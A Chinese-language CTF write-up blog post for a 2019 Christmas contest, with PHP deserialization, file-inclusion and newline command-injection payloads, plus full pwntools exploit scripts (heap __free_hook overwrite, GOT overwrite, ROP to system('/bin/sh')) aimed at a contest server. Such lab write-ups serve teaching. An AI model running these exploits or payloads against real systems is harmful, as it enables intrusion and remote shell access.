美文网首页
2019 i春秋 欢乐圣诞赛 做题笔记

2019 i春秋 欢乐圣诞赛 做题笔记

作者: Ginkgo_Alkaid | 来源:发表于2019-12-29 03:04 被阅读0次

web

0x01 nani

查看源代码,猜测可能有文件包含漏洞,访问show.php得知有user.php,于是利用

php://filter/read=convert.base64-encode/resource

分别读下index、show的源码:


图片.png

index.php源码如下所示:

<html>
    <title>Where</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php"></a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){
        echo "NANI?";
        exit();
    }
    include($file);
?>
</html>

show.php源码如下所示:

<?php
    echo "user.php";

user.php源码如下所示:

<?php
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

那就直接构造payload

cmd=O:7:"convent":3:{s:4:"warn";s:10:"phpinfo();";}
图片.png

读下目录,看到一个txt文件直接访问就是flag了


图片.png

0x02 random

给了源码,mt_rand爆破

 <?php
    show_source(__FILE__);
    include "flag.php";
    $a = @$_REQUEST['hello'];
    $seed = @$_REQUEST['seed'];
    $key = @$_REQUEST['key'];
    
    mt_srand($seed);
    $true_key = mt_rand();
    if ($key == $true_key){
        echo "Key Confirm";
    }
    else{
        die("Key Error");
    }
    eval( "var_dump($a);");
?>  Key Error

用php_mt_seed,整一组key和seed,然后构造payload


图片.png

0x03 admin

查看源代码,应该是原题了,稍作改动,考察的又是php封装协议。


图片.png

使用

user=php://input

绕过file_get_contents。


图片.png

接下来就是读class.php,还是老方法读下index.php和class.php。


图片.png
index.php源码如下所示:
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/fffffflag/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
    echo "<br/>";
    echo "hava a rest and then change your choose.";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

class.php源码如下所示:

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//fffffflag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "Awwwwwwwwwww man";
    }
}
?>

利用反序列化来读取flag文件,构造payload


图片.png

0x04 post1

查看源代码:

图片.png
tac不行,试了tail,more也不行,cut可以,用9代替空格试出来了。
图片.png
也可以读index.php源码
图片.png

0x05 ping

查看源代码:


图片.png

绕过strcmp,又是文件包含,读下index.php和ping.php


图片.png
图片.png
index.php源码如下所示:
<?php
    echo "There is a ping.php";
    $password="ACmvXfSFUayohrLB";
    if(isset($_POST['password'])){
        if (strcmp($_POST['password'],$password) == 0) {
            echo "Right!!!login success";
            include($_REQUEST['path']);
            exit();
        }
        else{
            echo "Wrong password..";
        }
    }
?>

<!--
    $password="****************";
     if(isset($_POST['password'])){
        if (strcmp($_POST['password'], $password) == 0) {
            echo "Right!!!login success";
            include($_REQUEST['path']);
            exit();
        } else {
            echo "Wrong password..";
        }
-->

ping.php源码如下所示:

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}

基本的命令分隔符被过滤了,尝试用命令分隔符%0a,发现可行。


图片.png

0x06 post2

看下源代码:


图片.png

绕了半天也绕不过去,后来非预期了,flag的名字和post1读index.php的一样,直接访问可得,等官方wp公布,再学习下正规解法。


图片.png

Reverse

0x01 basebasebase

程序没法直接运行,IDA处理下


图片.png

因为栈不平衡导致没法看伪代码,处理下


图片.png
大概关键比较的逻辑如下:
图片.png

随便找了个base64的脚本,把表换下

#coding:utf-8
import re
import struct
import binascii

base64list ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz)!@#$%^&amp;*(+/='

def base64decode(cipherlist):
    length=len(cipherlist)
    group=length/4
    s=''
    string=''   

    for i in range(group-1):
        j=i*4
        s=cipherlist[j:j+4]
        string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
        string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
        string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
    j=(group-1)*4
    s=cipherlist[j:j+4]
    string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
    if s[2]=='*':
        return string
    else:
        string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
    if s[3]=='*':
        return string
    else:
        string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
        return string

def base64encode(input_str):
    # 对每一个字节取ascii数值或unicode数值,然后转换为2进制
    str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
                      for i in input_str]
    output_str = ''
    # 不够3的整数倍 补齐所需要的次数
    equal_num = 0
    while str_ascii_list:
        temp_list = str_ascii_list[:3]
        if len(temp_list) != 3:
            while len(temp_list) < 3:
                equal_num += 1
                temp_list += ['0'*8]
        temp_str = ''.join(temp_list)
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list]
        # 判断是否为补齐的字符 做相应的处理
        if equal_num:
            temp_str_list = temp_str_list[0:4-equal_num]
        output_str += ''.join([base64list[x] for x in temp_str_list])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '*' * equal_num
    #print(output_str)
    return output_str

b=[0x59,0x6E,0x7B,0x6B,0x59,0x20,0x77,0x6A,0x5A,0x5B,0x4D,0x6F,0x5B,0x43,0x5A,0x2A,0x5A,0x43,0x77,0x65,0x56,0x6E,0x55,0x43,0x59,0x5B,0x49,0x79,0x59,0x5B,0x2A,0x29,0x3]

c=''
for i in b:
    c+=chr(i^3)
print c

flag=base64decode("ZmxhZ#tiYXNlX@Y)Y@tfUmV@ZXJzZX)*")
print flag

0x02 apk123

jeb打开,函数写的很明白,用了RC4加密,密钥和密文清晰可见


图片.png

直接把密文解16进制转成字符串,再转成base64,找个在线网址解了:


图片.png

0x03 babyre

众所周知,名字叫baby的都不baby,程序直接运行挂了。IDA打开,发现程序用了多线程和花指令干扰IDA反汇编

  • 第一个线程用来检测调试
  • 第二个线程用来获取输入
  • 第三个线程用来做判断,关键加密函数是sub_401000

由于花指令没被反汇编的关键代码,可以进行强制分析:


图片.png

sub_401000两个参数,一个是输入,另一个是输入的长度,算法如下所示:


图片.png

写脚本:

a = [0x17, 0x83, 0xE7, 0x45, 0x85, 0x66, 0xE6, 0xF5, 0x97, 0x56, 0x23, 0x07, 0x05, 0xE2, 0x02, 0x02]

flag=""

for i in range(0, len(a), 2):
    b = a[i] ^ 16
    c = a[i+1] ^ 16
    l2 = (b & 0xf0) >> 4
    h1 = b & 0xf
    l1 = (c & 0xf0) >> 4
    h2 = c & 0xf
    x1 = (h1 << 4) + l1
    x2 = (h2 << 4) + l2
    flag+=chr(x1)+chr(x2)

print flag

Crypto

0x01 rsa

已知dp,n,e,c求m

import gmpy2

e = 65537
n = 444511907374811621333864968430251419855347882081695888904531795366857517417289716213363408137550866409163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132345893007368069814286822931047915482947544230741924674880304607902413527794657556174021361113759962742306966643629644800759209829893438222447478882663573891473386520138017997195362559918730232709719486847337248425121547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543886217220299959364476125167328883418109849139384318692440116746717156025869399990008034002881758452936213924306428955442475834311604905905260723607788504332389824348292286402781474054375184928462870240017012586229806658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122407701782360072256987197118468391662366105964629786899281484884877640733549203394680006068637251717623691598753570260479050407069262236583726905151495550801274277155039839844872050380772537409714164680083539118124646217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376783
dp = 20688083194401098183398626094352469308150523583583104270723199988926694776131531953207031668652408481119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474341329766407852983275790499225322862499664901633190925232802162977135254216707834894816730529759991634343322039528413883937752397011466779521590767711786777317159161700645318091278528395252576086979838790917201179739657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019134814970048718940037920888121806608032574204482673114726401
c = 378245912689862819668716257795108255336928883693984263805908702337591160408234974716356292413190786704878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890622345686503512151501592397926764442945655423801602100185867239106836704835215686246083812117439685990637352246191517010645343417283169123105697782747026231044064639955374854873089604766677942725374108213749982052985866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823078646874632195128328299942128116508251564811923564362991466660005438580449558184197006623490303413636461137434703925564785299335803341222051570131842042120923719184091689629809380828306649702440460761848154682611972768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965250151258048934985977493740897420718340268536363763127676899114219828753570040978640121185354431884041597851910784347040946251752577201426797684912671641470307249794269755972278013107831885544781029384256069586713714201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161527

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1)==0:
            p=((dp*e-1)//i)+1
            q=n//(((dp*e-1)//i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            m = gmpy2.powmod(c,d,n)
            print ('m:',m)

m=38321129010640641075790959601976828944793938172125565
print hex(m)[2:-1].decode('hex')

Misc

0x01 XImg

png的lsb隐写


图片.png

0x02 pypi

看题目应该和python的pip有关了


图片.png

压缩包里,图片没被加密,txt被加密了,看了下png的lsb有东西,但是第一时间不知道这是什么编码方式,后来挨个试发现是base85


图片.png
解完base85,是一段base64,发现是jwt
图片.png

查看下jwt的内容,发现要爆破签名,压缩包的密码是签名的md5


图片.png
用c-jwt-cracker爆破签名,然后用md5解密压缩包
图片.png
接出来是gameforflag,根据题目在pypi搜到包,下载下来里面有个flag.py
图片.png
在里面还看到了札师傅的联系方式,一看刚才爆破出的Zac1,恍然大悟,tql

Pwn

0x01 heap

from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'heap'
ctx.remote_libc = 'libc.so.6'
ctx.remote = ('120.55.43.255',12240)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.

#p=rs()
p=rs('remote') # uncomment this for exploiting remote target

libc = ctx.libc # ELF object of the corresponding libc.

# ipy() # if you have ipython, you can use this to check variables.

def debug():
    libc_base = ctx.bases.libc
    print hex(libc_base)
    ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
    ctx.breakpoints = [0xEDA,0x10AF]
    ctx.debug()

def create(size,data):
    sla("Choice :",1)
    sla("size: ",str(size))
    sa("data: ",data)
def show():
    sla("Choice :",3)

def edit(index,content):
    sla("Your Choice: ",3)
    sla("id: ",index)
    sa("content: ",content)
def free(index):
    sla("Choice :",2)
    sla("Which heap do you want to delete: ",str(index))
create(0x80,'a')#0
create(0x68,'a')#1
create(0x68,'b')#2
create(0x10,'b')#3
free(0)
create(0x80,'\x78')#0
show()
ru("0 : ")
main_addr=uu64(p.recv(6))
libc_base=main_addr-(0x00007f5f1c534b78-0x7f5f1c170000)
leak("libc_base",libc_base)
pause()
free(0)
create(0x88,'a'*0x88+'\xe1')#0
free(1)
create(0x68,'a')#1
free(2)
create(0x68,p64(0)+p64(libc_base+libc.symbols['__free_hook']-0x40-0x10))#2
create(0x68,'a')#4
free(4)
free(1)
free(2)
create(0x68,p64(libc_base+libc.symbols['__free_hook']-0x43))#1
create(0x68,'a')#2
create(0x68,'/bin/sh\x00')#4
system_addr=libc_base+libc.symbols['system']
#debug()
create(0x68,0x33*'\x00'+p64(system_addr)+'\n')#5
free(4)
#debug()

irt()

0x02 Internal_Chat_System

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('inter')

def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        p = process('./inter')

    else:
        p = remote(ip,port)
    def add(size,name,age,description):
        p.sendlineafter('choice:','2')
        p.sendlineafter('name size:',str(size))
        p.sendlineafter('your name:',name)
        p.sendlineafter('age:',str(age))
        p.sendlineafter('description:',description)
    def login(name):
        p.sendlineafter('choice:','1')
        p.sendlineafter('name:',name)
    def sendfriend(name,title,content):
        p.sendlineafter('choice:','4')
        p.sendlineafter('send a msg to:',name)
        p.sendlineafter('message title:',title)
        p.sendlineafter('Input your content:',content)
    def add_delete(name,aorb):
        p.sendlineafter('choice:','3')
        p.sendlineafter("friend's name:",name)
        p.sendlineafter('friend?(a/d)',aorb)
    def view_fi():
        p.sendlineafter('choice:','1')
    def updete(name,age,description):
        p.sendlineafter('choice:','2')
        p.sendlineafter('your name:',name)
        p.sendlineafter('age:',str(age))
        p.sendlineafter('description:',description)
    def logout():
        p.sendlineafter('choice:','6')
    add(0x68,'weeeee',30,'a'*0xf8+'ABCDEEEE')
    payload='\x00'*0xb8+p64(0x131)
    add(0x68,'weei',30,payload)
    payload='\x00'*0xb8+p64(0x131)
    add(0x68,'/bin/sh\x00',30,payload)
    login('weeeee')
    add_delete('weeeee','a')
    add_delete('weeeee','d')
    view_fi()
    p.recvuntil('Age:')
    _libc_start_addr=int(p.recv(12),16)-(0x7fe5cdf8cb78-0x7fe5cdbe8740)
    print "_libc_start_addr=>",hex(_libc_start_addr)
    p.recvuntil('ABCDEEEE') 
    heap_addr=u64(p.recv(4).ljust(8,'\x00'))-(0x0000000002401680-0x23ff000)
    print "heap_addr=>",hex(heap_addr)
    libc=LibcSearcher('__libc_start_main',_libc_start_addr)
    libcbase_addr=_libc_start_addr-libc.dump('__libc_start_main')
    system_addr=libcbase_addr+libc.dump('system')
    atoi_addr=libcbase_addr+libc.dump('atoi')
    updete('aa',heap_addr+0x200,'xxx')
    logout()
    login('weei')
    payload='\x00'*0xb8+p64(0x131)+p64(heap_addr)+p64(_libc_start_addr+(0x7fe5cdf8cb78-0x7fe5cdbe8740))
    updete('weei',30,payload)
    logout()
    add(0x68,p64(0x603068),30,'a')
    payload='hhh\x00\x00\x00\x00\x00'+p64(0)*10+p64(0x131)+p64(0x603068)
    add(0x128,payload,30,'f')
    login(p64(atoi_addr))
    updete(p64(system_addr),30,'111')
    p.sendlineafter('choice:','/bin/sh\x00')
    #gdb.attach(p)      

    p.interactive()
if __name__ == '__main__':
    pwn('120.55.43.255',19812,1)

0x03 Self-service Refueling System

from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'aaa'
#ctx.remote_libc = 'libc.so'
ctx.remote = ('120.55.43.255',23810)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.

#p=rs()
p=rs('remote') # uncomment this for exploiting remote target

libc = ctx.libc # ELF object of the corresponding libc.

# ipy() # if you have ipython, you can use this to check variables.

def debug():
    libc_base = ctx.bases.libc
    print hex(libc_base)
    ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
    ctx.breakpoints = [0xEDA,0x10AF]
    ctx.debug()

def create(size):
    sla("Your Choice: ",1)
    sla("size: ",size)
def show(index):
    sla("Your Choice: ",2)
    sla("id: ",index)
def edit(index,content):
    sla("Your Choice: ",3)
    sla("id: ",index)
    sa("content: ",content)
def free(index):
    sla("Your Choice: ",4)
    sla("id: ",index)
sla("(y/n)\n",'y')
payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(0x602018)+p64(0x0000400750 )+p64(0x00400EAA)
sla("ID :\n",payload)
sla("want?(L)\n",'1')

ru("Finish! your car is full of gas")
ru("\x5b\x30\x6d")
puts_addr=uu64(p.recv(6))
leak("puts_addr",puts_addr)
pause()
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
bin_sh_addr=libc_base+libc.dump("str_bin_sh")
sla("(y/n)\n",'y')
payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(bin_sh_addr)+p64(system_addr)
sla("ID :\n",payload)
sla("want?(L)\n",'1')
irt()

相关文章

网友评论

      本文标题:2019 i春秋 欢乐圣诞赛 做题笔记

      本文链接:https://www.haomeiwen.com/subject/xlyeoctx.html